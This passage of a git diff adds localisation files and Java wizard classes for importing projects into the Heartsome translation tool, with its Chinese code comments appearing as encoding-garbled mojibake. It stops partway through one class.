information. Please re-select a valid Heartsome project package file. +importProjectWizardPage.processingMessage = Processing... +importProjectWizardPage.searchingMessage = Searching projects in the project package... +importProjectWizardPage.checkingMessage = Check: {0} + +importProjectWizardPage.projectOfImport = Please select projects to import: +importProjectWizardPage.repeatedContent = Please select existing files to overwrite: +importProjectWizardPage.leftSelectAllBtn = Select &All +importProjectWizardPage.leftDisSelectAllBtn = &Deselect All +importProjectWizardPage.leftExpandAllBtn = &Expand All +importProjectWizardPage.rightSelectAllBtn = &Select All +importProjectWizardPage.rightDisSelectAllBtn = Deselect A&ll +importProjectWizardPage.rightExpandAllBtn = E&xpand All +importProjectWizardPage.beginImportProj = Start importing projects +importProjectWizardPage.beginImportProjName = Importing Project: {0}... +importProjectWizardPage.selectImportFilePath = Please select the project package file you want to import. +importProjectWizardPage.selectRightImportFilePath = Please select a valid Heartsome project package (*.hszip) file to import. +importProjectWizardPage.selectImportProject = Please select the projects you want to import on the left. +importProjectWizardPage.selectNeedCoverFile = The selected project on the left already exists. Only files you selected on the right will be imported. Please select files you want to overwrite on the right. +importProjectWizardPage.importSuccess = Import sucessfully. +importProjectWizardPage.importFail = Import failed. + +importProjectWizardPage.LOG.importEroor = [LOG] Project import failed diff --git a/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/resource/message_zh.properties b/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/resource/message_zh.properties new file mode 100644 index 0000000..a63d917 --- /dev/null +++ b/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/resource/message_zh.properties @@ -0,0 +1,36 @@ +importProject.all.dialog.info = \u63d0\u793a +importProject.all.dialog.warning = \u8b66\u544a +importProject.all.dialog.error = \u9519\u8bef +wizard.ImportProjectWizardPage.desc = \u5bfc\u5165 Heartsome \u9879\u76ee\u5305\u4e2d\u7684\u9879\u76ee\u6216\u6587\u4ef6\u3002 + +############------------------robert added 2013-03-07------------------############ +importProjectWizardPage.broswer = \u6d4f\u89c8(&R)... +importProjectWizardPage.SelectArchiveDialogTitle = \u9009\u62e9\u9879\u76ee\u5305 +importProjectWizardPage.selectFileLbl = \u9879\u76ee\u5305(&P)\uff1a +importProjectWizardPage.projectLabel = {0} ({1}) +importProjectWizardPage.dialog.error = \u9519\u8bef +importProjectWizardPage.dialog.badFormat = \u8be5\u6587\u4ef6\u4e0d\u662f Heartsome \u9879\u76ee\u5305\u6587\u4ef6\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u4e00\u4e2a\u6709\u6548\u7684 Heartsome \u9879\u76ee\u5305\u6587\u4ef6\u3002 +importProjectWizardPage.dialog.couldNotRead = \u65e0\u6cd5\u8bfb\u53d6\u8be5\u6587\u4ef6\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u4e00\u4e2a\u6709\u6548\u7684 Heartsome \u9879\u76ee\u5305\u6587\u4ef6\u3002 +importProjectWizardPage.noProjectsToImport = \u8be5\u6587\u4ef6\u4e2d\u4e0d\u5305\u542b Heartsome \u9879\u76ee\u4fe1\u606f\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u4e00\u4e2a\u6709\u6548\u7684 Heartsome \u9879\u76ee\u5305\u6587\u4ef6\u3002 +importProjectWizardPage.processingMessage = \u6b63\u5728\u5904\u7406... +importProjectWizardPage.searchingMessage = \u5728\u9879\u76ee\u5305\u4e2d\u641c\u7d22\u9879\u76ee... +importProjectWizardPage.checkingMessage = \u68c0\u67e5\uff1a{0} + +importProjectWizardPage.projectOfImport = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u7684\u9879\u76ee\uff1a +importProjectWizardPage.repeatedContent = \u8bf7\u9009\u62e9\u5c06\u88ab\u8986\u76d6\u7684\u91cd\u590d\u6587\u4ef6\uff1a +importProjectWizardPage.leftSelectAllBtn = \u5168\u90e8\u9009\u4e2d(&A) +importProjectWizardPage.leftDisSelectAllBtn = \u5168\u90e8\u4e0d\u9009(&D) +importProjectWizardPage.leftExpandAllBtn = \u5168\u90e8\u5c55\u5f00(&E) +importProjectWizardPage.rightSelectAllBtn = \u5168\u90e8\u9009\u4e2d(&S) +importProjectWizardPage.rightDisSelectAllBtn = \u5168\u90e8\u4e0d\u9009(&I) +importProjectWizardPage.rightExpandAllBtn = \u5168\u90e8\u5c55\u5f00(&X) +importProjectWizardPage.beginImportProj = \u5f00\u59cb\u5bfc\u5165\u9879\u76ee +importProjectWizardPage.beginImportProjName = \u5bfc\u5165\u9879\u76ee\uff1a{0}... +importProjectWizardPage.selectImportFilePath = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u9879\u76ee\u5305\u6587\u4ef6\u3002 +importProjectWizardPage.selectRightImportFilePath = \u8bf7\u6b63\u786e\u9009\u62e9\u8981\u5bfc\u5165\u7684 Heartsome \u9879\u76ee\u5305\u6587\u4ef6\uff08\u6269\u5c55\u540d\u4e3a .hszip\uff09 +importProjectWizardPage.selectImportProject = \u8bf7\u5728\u5de6\u8fb9\u9009\u62e9\u8981\u5bfc\u5165\u7684\u9879\u76ee\u3002 +importProjectWizardPage.selectNeedCoverFile = \u60a8\u5728\u5de6\u8fb9\u9009\u4e2d\u7684\u9879\u76ee\u5df2\u5b58\u5728\uff0c\u5c06\u53ea\u5bfc\u5165\u60a8\u5728\u53f3\u8fb9\u6240\u9009\u4e2d\u7684\u6587\u4ef6\u3002\u8bf7\u5728\u53f3\u8fb9\u9009\u62e9\u8981\u66f4\u65b0\u8986\u76d6\u7684\u6587\u4ef6\u3002 +importProjectWizardPage.importSuccess = \u5bfc\u5165\u6210\u529f\u3002 +importProjectWizardPage.importFail = \u5bfc\u5165\u5931\u8d25\u3002 + +importProjectWizardPage.LOG.importEroor = [LOG] \u9879\u76ee\u5bfc\u5165\u5931\u8d25 diff --git a/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/widgiet/ProjectResource.java b/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/widgiet/ProjectResource.java new file mode 100644 index 0000000..59f0a28 --- /dev/null +++ b/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/widgiet/ProjectResource.java @@ -0,0 +1,234 @@ +package net.heartsome.cat.ts.importproject.widgiet; + +import java.io.InputStream; +import java.util.ArrayList; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.ui.internal.wizards.datatransfer.ILeveledImportStructureProvider; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.ts.importproject.wizards.ImportProjectWizardPage2.ProjectRecord; + + +/** + * 这是树的内容类 + * @author robert + */ +@SuppressWarnings("restriction") +public class ProjectResource { + private Object element; + private ProjectResource parent; + private ProjectRecord proRecord; + private boolean isFolder; + /** 是å¦æ˜¯é¡¹ç›® */ + private boolean isProject; + private List childrenList; + private String projectName; + /** 项目是å¦é‡å¤ */ + private boolean isProjectRepeat; + /** 当å‰èŠ‚点是å¦é‡å¤ */ + private boolean isElementRepeat; + private IWorkspaceRoot root; + private ILeveledImportStructureProvider structureProvider; + /** 标识当å‰é‡å¤çš„节点是ä¸æ˜¯éœ€è¦è¦†ç›–å·²ç»å­˜åœ¨çš„文件 */ + private boolean needCover; + + /** 设置过滤文件的æ¡ä»¶ */ + private Set FILE_FILTER = new HashSet(); + + + /** + * 该构造函数主è¦æ˜¯é’ˆå¯¹é¡¹ç›®ç”¨çš„ + * @param entry + * @param proRecord + */ + public ProjectResource(Object entry, ProjectRecord proRecord, ILeveledImportStructureProvider structureProvider){ + this.element = entry; + this.proRecord = proRecord; + this.projectName = this.proRecord.getProjectName(); + this.structureProvider = structureProvider; + // 备注,下é¢è¿™å››ä¸ªåˆå§‹åŒ–的方法,ä½ç½®ä¸èƒ½æ›´æ¢ã€‚ + root = ResourcesPlugin.getWorkspace().getRoot(); + isProject = true; + initIsProjectRepeat(); + initData(); + initChildren(); + } + + /** + * 该构造函数主è¦é’ˆå¯¹é¡¹ç›®ä¸‹çš„文件夹或者文件 + * @param entry + * @param parent + * @param projectName + * @param isProjectRepeat + * @param structureProvider + */ + public ProjectResource(Object entry, ProjectResource parent, String projectName, boolean isProjectRepeat, ILeveledImportStructureProvider structureProvider){ + this.element = entry; + this.parent = parent; + this.projectName = projectName; + this.isProjectRepeat = isProjectRepeat; + this.structureProvider = structureProvider; + // 备注,下é¢è¿™å››ä¸ªåˆå§‹åŒ–的方法,ä½ç½®ä¸èƒ½æ›´æ¢ã€‚ + root = ResourcesPlugin.getWorkspace().getRoot(); + isProject = false; + initIsElementRepeat(); + initData(); + initChildren(); + } + + /** + * åˆå§‹åŒ–ç›¸å…³æ•°æ® + */ + private void initData(){ + isFolder = structureProvider.isFolder(element); + needCover = !isElementRepeat; + + FILE_FILTER.add(".project"); + FILE_FILTER.add(Constant.FILE_CONFIG); + FILE_FILTER.add(".TEMP"); + } + + + @SuppressWarnings("unchecked") + private void initChildren(){ + childrenList = new ArrayList(); + if (isFolder()) { + List childrenObjList = structureProvider.getChildren(element); + if (childrenObjList == null || childrenObjList.size() <= 0) { + return; + } + for(Object curObj : childrenObjList){ + String fileName = structureProvider.getLabel(curObj); + if (FILE_FILTER.contains(fileName)) { + continue; + } + childrenList.add(new ProjectResource(curObj, this, projectName, isProjectRepeat, structureProvider)); + } + } + } + + /** + * åˆå§‹åŒ–项目是å¦é‡å¤ + */ + private void initIsProjectRepeat(){ + isElementRepeat = isProjectRepeat = root.getLocation().append(projectName).toFile().exists(); + } + + /** + * åˆå§‹åŒ–当å‰èŠ‚点是å¦é‡å¤ + */ + private void initIsElementRepeat(){ + // 如果项目å称ä¸é‡å¤ï¼Œé‚£ä¹ˆé‡Œé¢çš„内容也ä¸ä¼šé‡å¤çš„。 + if (isProjectRepeat) { + // UNDO 这里è¦æ³¨æ„下,当项目文件与根目录文件ä¸ç›¸ç¬¦æ—¶ï¼Œè¿™é‡Œæ˜¯å¦åˆæ³•ï¼Ÿæˆ‘猜是ä¸èƒ½çš„。 + isElementRepeat = root.getLocation().append(structureProvider.getFullPath(element)).toFile().exists(); + }else { + isElementRepeat = false; + } + } + + public String getLabel(){ + if (proRecord != null) { + return projectName; + }else { + return structureProvider.getLabel(element); + } + } + + /** + * å°† needCover 属性æ¢å¤é»˜è®¤ + */ + public void restoreNeedCoverDefault(){ + needCover = !isElementRepeat; + } + + /** + * 获å–项目下 .config æ–‡ä»¶çš„è¾“å…¥æµ + *
    备注: 该方法åªé’ˆå¯¹é¡¹ç›®è¿›è¡Œè°ƒç”¨
    + * @return + */ + @SuppressWarnings("unchecked") + public InputStream getConfigFileContent(){ + if (!isProject) { + return null; + } + + InputStream stream = null; + List childrenObjList = structureProvider.getChildren(element); + for(Object curObj : childrenObjList){ + String fileName = structureProvider.getLabel(curObj); + if (Constant.FILE_CONFIG.contains(fileName)) { + stream = structureProvider.getContents(curObj); + } + } + return stream; + } + + /** + * 是å¦æœ‰å­©å­èŠ‚点 + * @return + */ + public boolean hasChildren(){ + return structureProvider.isFolder(element); + } + + public boolean isProjectRepeat() { + return isProjectRepeat; + } + + public boolean isElementRepeat() { + return isElementRepeat; + } + + /** + * 是å¦æ˜¯æ–‡ä»¶å¤¹ + * @return + */ + public boolean isFolder(){ + return isFolder; + } + + public List getChildren(){ + return childrenList; + } + + public ProjectRecord getProRecord() { + return proRecord; + } + + public ProjectResource getParent(){ + return parent; + } + + public String getProjectName() { + return projectName; + } + + public boolean isNeedCover() { + return needCover; + } + + public void setNeedCover(boolean needCover) { + this.needCover = needCover; + } + + + public InputStream getInputStream(){ + if (isFolder) { + return null; + } + return structureProvider.getContents(element); + } + + public boolean isProject() { + return isProject; + } + + + +} diff --git a/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/widgiet/ResourceTree.java b/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/widgiet/ResourceTree.java new file mode 100644 index 0000000..70ccf1b --- /dev/null +++ b/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/widgiet/ResourceTree.java @@ -0,0 +1,213 @@ +package net.heartsome.cat.ts.importproject.widgiet; + +import java.util.ArrayList; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +import org.eclipse.jface.viewers.CheckStateChangedEvent; +import org.eclipse.jface.viewers.CheckboxTreeViewer; +import org.eclipse.jface.viewers.DoubleClickEvent; +import org.eclipse.jface.viewers.ICheckStateListener; +import org.eclipse.jface.viewers.IDoubleClickListener; +import org.eclipse.jface.viewers.ILabelProvider; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.ITreeContentProvider; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Tree; + +/** + * 显示带有项目,项目文件的 æ ‘ + * @author robert 2013-03-06 + */ +public class ResourceTree extends CheckboxTreeViewer implements ICheckStateListener, IDoubleClickListener{ + private Tree tree; + /** 当å‰æ ‘的内容æ供者 */ + private ITreeContentProvider contentProvider; + /** 当å‰æ ‘的标签æ供者 */ + private ILabelProvider labelProvider; + /** ä¿å­˜åŠé€‰ä¸­çŠ¶æ€çš„节点 */ + private Set grayStoreSet = new HashSet(); + private ProjectResource[] root; + + + + public ResourceTree(Composite parent, ITreeContentProvider contentProvider, ILabelProvider labelProvider) { + super(parent); + + this.contentProvider = contentProvider; + this.labelProvider = labelProvider; + + tree = this.getTree(); + tree.setLayoutData(new GridData(GridData.FILL_BOTH)); + + this.setLabelProvider(this.labelProvider); + this.setContentProvider(this.contentProvider); + this.addCheckStateListener(this); + this.addDoubleClickListener(this); + + } + + public void setRoot(ProjectResource[] root) { + this.root = root; + } + + + /** + * 设置选择全部 + */ + public void setCheckedAll(boolean checkState){ + for(ProjectResource projRoot : root){ + setSubtreeChecked(projRoot, checkState); + } + // 让缓存全部删除 + setGrayedElements(new Object[0]); + grayStoreSet.clear(); + } + + + /** + * 获å–所有的节点 + * @return + */ + public List getAllElement(){ + List allElements = new ArrayList(); + for(ProjectResource proRoot : root){ + allElements.add(proRoot); + Object[] objArray = contentProvider.getChildren(proRoot); + for(Object obj : objArray){ + if (obj instanceof ProjectResource) { + ProjectResource childProResource = (ProjectResource) obj; + allElements.add(childProResource); + + getAllElementImpl(childProResource, allElements); + } + } + } + return allElements; + } + + private void getAllElementImpl(ProjectResource parentProjRes, List allElements){ + for(Object obj : contentProvider.getChildren(parentProjRes)){ + if (obj instanceof ProjectResource) { + ProjectResource childProResource = (ProjectResource) obj; + allElements.add(childProResource); + getAllElementImpl(childProResource, allElements); + } + } + } + + + /** + * 设置所有å­èŠ‚点是å¦é€‰ä¸­ + * @param element è¦é€‰ä¸­ä¸Žå¦çš„ 节点 + * @param state 当å‰èŠ‚点是å¦è¦é€‰ä¸­ + */ + private void setAllChildCheck(Object element, boolean state){ + setSubtreeChecked(element, state); + setAllChildCheckImp(element, state); + } + + private void setAllChildCheckImp(Object element, boolean state){ + Object[] childList = contentProvider.getChildren(element); + if (childList == null) { + return; + } + for(Object childElement : childList){ + if (getGrayed(childElement)) { + grayStoreSet.remove(childElement); + } + setAllChildCheckImp(childElement, state); + } + } + + /** + * åŒå‡»äº‹ä»¶ï¼Œè‹¥åŒå‡»ï¼Œè‡ªåŠ¨å±•å¼€è¯¥æ–‡ä»¶å¤¹ + */ + public void doubleClick(final DoubleClickEvent event) { + BusyIndicator.showWhile(getControl().getDisplay(), new Runnable() { + public void run() { + ISelection selection = event.getSelection(); + IStructuredSelection struSelection = (IStructuredSelection) selection; + Object obj = struSelection.getFirstElement(); + if (getExpandedState(obj)) { + collapseToLevel(obj, 1); + }else { + expandToLevel(obj, 1); + } + } + }); + } + + + public void checkStateChanged(final CheckStateChangedEvent event) { + BusyIndicator.showWhile(getControl().getDisplay(), new Runnable() { + public void run() { + Object element = event.getElement(); + if (getChecked(element)) { + setAllChildCheck(element, true); + // 让父文件夹处于åŠé€‰ä¸­çŠ¶æ€ + Object parent = contentProvider.getParent(element); + while(parent != null){ + if (!getChecked(parent)) { + grayStoreSet.add(parent); + } + parent = contentProvider.getParent(parent); + } + }else { + if (getGrayed(element)) { + grayStoreSet.remove(element); + } + + setAllChildCheck(element, false); + Object parent = contentProvider.getParent(element); + while(parent != null){ + if (hasCheckedChildren(parent)) { + grayStoreSet.add(parent); + }else { + if (getGrayed(parent)) { + grayStoreSet.remove(parent); + } + setChecked(parent, false); + } + parent = contentProvider.getParent(parent); + } + } + + setGrayedElements(new Object[0]); + setGrayedElements(grayStoreSet.toArray()); + for (Object obj : grayStoreSet) { + setChecked(obj, true); + } + } + }); + } + + + /** + * 判断当å‰çˆ¶ç›®å½•æ˜¯å¦æœ‰å­æ–‡ä»¶æˆ–å­æ–‡ä»¶å¤¹è¢«é€‰ä¸­ + * @param parent + * @return + */ + private boolean hasCheckedChildren(Object parent){ + Object[] childArray = contentProvider.getChildren(parent); + if (childArray == null || childArray.length <= 0) { + return false; + } + for(Object child : childArray){ + if (getChecked(child)) { + return true; + } + if (hasCheckedChildren(child)) { + return true; + } + } + return false; + } + + + +} diff --git a/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/wizards/ImportProjectWizard.java b/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/wizards/ImportProjectWizard.java new file mode 100644 index 0000000..5a63e6e --- /dev/null +++ b/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/wizards/ImportProjectWizard.java @@ -0,0 +1,116 @@ +package net.heartsome.cat.ts.importproject.wizards; + +import java.lang.reflect.InvocationTargetException; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.dialogs.IDialogSettings; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.wizard.Wizard; +import org.eclipse.ui.IImportWizard; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.internal.ide.IDEWorkbenchPlugin; +import org.eclipse.ui.internal.wizards.datatransfer.DataTransferMessages; +import org.slf4j.LoggerFactory; + +@SuppressWarnings("restriction") +public class ImportProjectWizard extends Wizard implements IImportWizard { + + private static final String IMPORT_PROJECT_SECTION = "ImportProjectWizard";//$NON-NLS-1$ + +// private ImportProjectWizardPage mainPage; + private ImportProjectWizardPage2 mainPage; + + private IStructuredSelection currentSelection = null; + + private String initialPath = null; + + private boolean canFinish; + + /** + * Constructor for ExternalProjectImportWizard. + */ + public ImportProjectWizard() { + this(null); + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(ImportProjectWizard.class).error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + } + + /** + * Constructor for ExternalProjectImportWizard. + * + * @param initialPath Default path for wizard to import + * @since 3.5 + */ + public ImportProjectWizard(String initialPath) + { + super(); + this.initialPath = initialPath; + setWindowTitle(DataTransferMessages.DataTransfer_importTitle); + setNeedsProgressMonitor(true); + IDialogSettings workbenchSettings = IDEWorkbenchPlugin.getDefault() + .getDialogSettings(); + + IDialogSettings wizardSettings = workbenchSettings + .getSection(IMPORT_PROJECT_SECTION); + if (wizardSettings == null) { + wizardSettings = workbenchSettings + .addNewSection(IMPORT_PROJECT_SECTION); + } + setDialogSettings(wizardSettings); + } + + /* (non-Javadoc) + * Method declared on IWizard. + */ + public void addPages() { + super.addPages(); +// mainPage = new ImportProjectWizardPage("wizardExternalProjectsPage", initialPath, currentSelection); //$NON-NLS-1$ + mainPage = new ImportProjectWizardPage2("wizardExternalProjectsPage", initialPath, currentSelection); //$NON-NLS-1$ + addPage(mainPage); + } + + /* (non-Javadoc) + * Method declared on IWorkbenchWizard. + */ + public void init(IWorkbench workbench, IStructuredSelection currentSelection) { + + setDefaultPageImageDescriptor( + IDEWorkbenchPlugin.getIDEImageDescriptor("wizban/importproj_wiz.png")); //$NON-NLS-1$ + this.currentSelection = currentSelection; + } + + /* (non-Javadoc) + * Method declared on IWizard. + */ + public boolean performCancel() { + mainPage.performCancel(); + return true; + } + + /* (non-Javadoc) + * Method declared on IWizard. + */ + public boolean performFinish() { + final IRunnableWithProgress importProgress = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + + canFinish = mainPage.createProjects(monitor); + + } + }; + + try { + getContainer().run(true, true, importProgress); + } catch (Exception e) { + e.printStackTrace(); + } + + return canFinish; + } + +} diff --git a/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/wizards/ImportProjectWizardPage.java b/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/wizards/ImportProjectWizardPage.java new file mode 100644 index 0000000..f29573a --- /dev/null +++ b/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/wizards/ImportProjectWizardPage.java @@ -0,0 +1,1261 @@ +package net.heartsome.cat.ts.importproject.wizards; + +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.lang.reflect.InvocationTargetException; +import java.net.URI; +import java.util.ArrayList; +import java.util.Collection; +import java.util.Iterator; +import java.util.List; +import java.util.zip.ZipEntry; +import java.util.zip.ZipException; +import java.util.zip.ZipFile; + +import net.heartsome.cat.ts.importproject.Activator; +import net.heartsome.cat.ts.importproject.resource.Messages; + +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IProjectDescription; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.resources.IWorkspace; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.core.runtime.Path; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.Status; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.ErrorDialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.IDialogSettings; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.PixelConverter; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.viewers.CheckStateChangedEvent; +import org.eclipse.jface.viewers.CheckboxTreeViewer; +import org.eclipse.jface.viewers.ICheckStateListener; +import org.eclipse.jface.viewers.IColorProvider; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.ITreeContentProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.Viewer; +import org.eclipse.jface.viewers.ViewerComparator; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.osgi.util.NLS; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.FocusAdapter; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.TraverseEvent; +import org.eclipse.swt.events.TraverseListener; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Text; +import org.eclipse.ui.actions.WorkspaceModifyOperation; +import org.eclipse.ui.dialogs.IOverwriteQuery; +import org.eclipse.ui.internal.ide.IDEWorkbenchMessages; +import org.eclipse.ui.internal.ide.IDEWorkbenchPlugin; +import org.eclipse.ui.internal.wizards.datatransfer.ArchiveFileManipulations; +import org.eclipse.ui.internal.wizards.datatransfer.DataTransferMessages; +import org.eclipse.ui.internal.wizards.datatransfer.ILeveledImportStructureProvider; +import org.eclipse.ui.internal.wizards.datatransfer.TarEntry; +import org.eclipse.ui.internal.wizards.datatransfer.TarException; +import org.eclipse.ui.internal.wizards.datatransfer.TarFile; +import org.eclipse.ui.internal.wizards.datatransfer.TarLeveledStructureProvider; +import org.eclipse.ui.internal.wizards.datatransfer.ZipLeveledStructureProvider; +import org.eclipse.ui.wizards.datatransfer.FileSystemStructureProvider; +import org.eclipse.ui.wizards.datatransfer.ImportOperation; + +@SuppressWarnings("restriction") +public class ImportProjectWizardPage extends WizardPage implements +IOverwriteQuery { + + /** + * The name of the folder containing metadata information for the workspace. + */ + public static final String METADATA_FOLDER = ".metadata"; //$NON-NLS-1$ + + /** + * The import structure provider. + * + * @since 3.4 + */ + private ILeveledImportStructureProvider structureProvider; + + /** + * @since 3.5 + * + */ + private final class ProjectLabelProvider extends LabelProvider implements IColorProvider{ + + public String getText(Object element) { + return ((ProjectRecord) element).getProjectLabel(); + } + + public Color getBackground(Object element) { + return null; + } + + public Color getForeground(Object element) { + ProjectRecord projectRecord = (ProjectRecord) element; + if(projectRecord.hasConflicts) + return getShell().getDisplay().getSystemColor(SWT.COLOR_GRAY); + return null; + } + } + + /** + * Class declared public only for test suite. + * + */ + public class ProjectRecord { + File projectSystemFile; + + Object projectArchiveFile; + + String projectName; + + Object parent; + + int level; + + boolean hasConflicts; + + IProjectDescription description; + + /** + * Create a record for a project based on the info in the file. + * + * @param file + */ + ProjectRecord(File file) { + projectSystemFile = file; + setProjectName(); + } + + /** + * @param file + * The Object representing the .project file + * @param parent + * The parent folder of the .project file + * @param level + * The number of levels deep in the provider the file is + */ + ProjectRecord(Object file, Object parent, int level) { + this.projectArchiveFile = file; + this.parent = parent; + this.level = level; + setProjectName(); + } + + /** + * Set the name of the project based on the projectFile. + */ + private void setProjectName() { + try { + if (projectArchiveFile != null) { + InputStream stream = structureProvider + .getContents(projectArchiveFile); + + // If we can get a description pull the name from there + if (stream == null) { + if (projectArchiveFile instanceof ZipEntry) { + IPath path = new Path( + ((ZipEntry) projectArchiveFile).getName()); + projectName = path.segment(path.segmentCount() - 2); + } else if (projectArchiveFile instanceof TarEntry) { + IPath path = new Path( + ((TarEntry) projectArchiveFile).getName()); + projectName = path.segment(path.segmentCount() - 2); + } + } else { + description = IDEWorkbenchPlugin.getPluginWorkspace() + .loadProjectDescription(stream); + stream.close(); + projectName = description.getName(); + } + + } + + // If we don't have the project name try again + if (projectName == null) { + IPath path = new Path(projectSystemFile.getPath()); + // if the file is in the default location, use the directory + // name as the project name + if (isDefaultLocation(path)) { + projectName = path.segment(path.segmentCount() - 2); + description = IDEWorkbenchPlugin.getPluginWorkspace() + .newProjectDescription(projectName); + } else { + description = IDEWorkbenchPlugin.getPluginWorkspace() + .loadProjectDescription(path); + projectName = description.getName(); + } + + } + } catch (CoreException e) { + // no good couldn't get the name + } catch (IOException e) { + // no good couldn't get the name + } + } + + /** + * Returns whether the given project description file path is in the + * default location for a project + * + * @param path + * The path to examine + * @return Whether the given path is the default location for a project + */ + private boolean isDefaultLocation(IPath path) { + // The project description file must at least be within the project, + // which is within the workspace location + if (path.segmentCount() < 2) + return false; + return path.removeLastSegments(2).toFile().equals( + Platform.getLocation().toFile()); + } + + /** + * Get the name of the project + * + * @return String + */ + public String getProjectName() { + return projectName; + } + + /** + * Gets the label to be used when rendering this project record in the + * UI. + * + * @return String the label + * @since 3.4 + */ + public String getProjectLabel() { + if (description == null) + return projectName; + + String path = projectSystemFile == null ? structureProvider + .getLabel(parent) : projectSystemFile + .getParent(); + + return NLS.bind( + DataTransferMessages.WizardProjectsImportPage_projectLabel, + projectName, path); + } + + /** + * @return Returns the hasConflicts. + */ + public boolean hasConflicts() { + return hasConflicts; + } + } + + // dialog store id constants + private final static String STORE_COPY_PROJECT_ID = "ImportProjectWizardPage.STORE_COPY_PROJECT_ID"; //$NON-NLS-1$ + + private final static String STORE_ARCHIVE_SELECTED = "ImportProjectWizardPage.STORE_ARCHIVE_SELECTED"; //$NON-NLS-1$ + + private CheckboxTreeViewer projectsList; + + private boolean copyFiles = true; + + private boolean lastCopyFiles = false; + + private ProjectRecord[] selectedProjects = new ProjectRecord[0]; + + // Keep track of the archive that we browsed to last time + // the wizard was invoked. + private static String previouslyBrowsedArchive = ""; //$NON-NLS-1$ + + private Label projectFromArchiveRadio; + + private Text archivePathField; + + private Button browseArchivesButton; + + private IProject[] wsProjects; + + // constant from WizardArchiveFileResourceImportPage1 + private static final String[] FILE_IMPORT_MASK = { + "*.zip", "*" }; //$NON-NLS-1$ //$NON-NLS-2$ + + // The initial path to set + private String initialPath; + + // The last selected path to minimize searches + private String lastPath; + // The last time that the file or folder at the selected path was modified + // to mimize searches + private long lastModified; + + private IStructuredSelection currentSelection; + + /** + * Creates a new project creation wizard page. + * + */ + public ImportProjectWizardPage() { + this("wizardImportProjectsPage", null, null); //$NON-NLS-1$ + } + + /** + * Create a new instance of the receiver. + * + * @param pageName + */ + public ImportProjectWizardPage(String pageName) { + this(pageName,null, null); + } + + /** + * More (many more) parameters. + * + * @param pageName + * @param initialPath + * @param currentSelection + * @since 3.5 + */ + public ImportProjectWizardPage(String pageName,String initialPath, + IStructuredSelection currentSelection) { + super(pageName); + this.initialPath = initialPath; + this.currentSelection = currentSelection; + setPageComplete(false); + setTitle(DataTransferMessages.WizardProjectsImportPage_ImportProjectsTitle); + setDescription(Messages.getString("wizard.ImportProjectWizardPage.desc")); + setImageDescriptor(Activator.getImageDescriptor("images/importProject_logo.png")); + } + + /* + * (non-Javadoc) + * + * @see + * org.eclipse.jface.dialogs.IDialogPage#createControl(org.eclipse.swt.widgets + * .Composite) + */ + public void 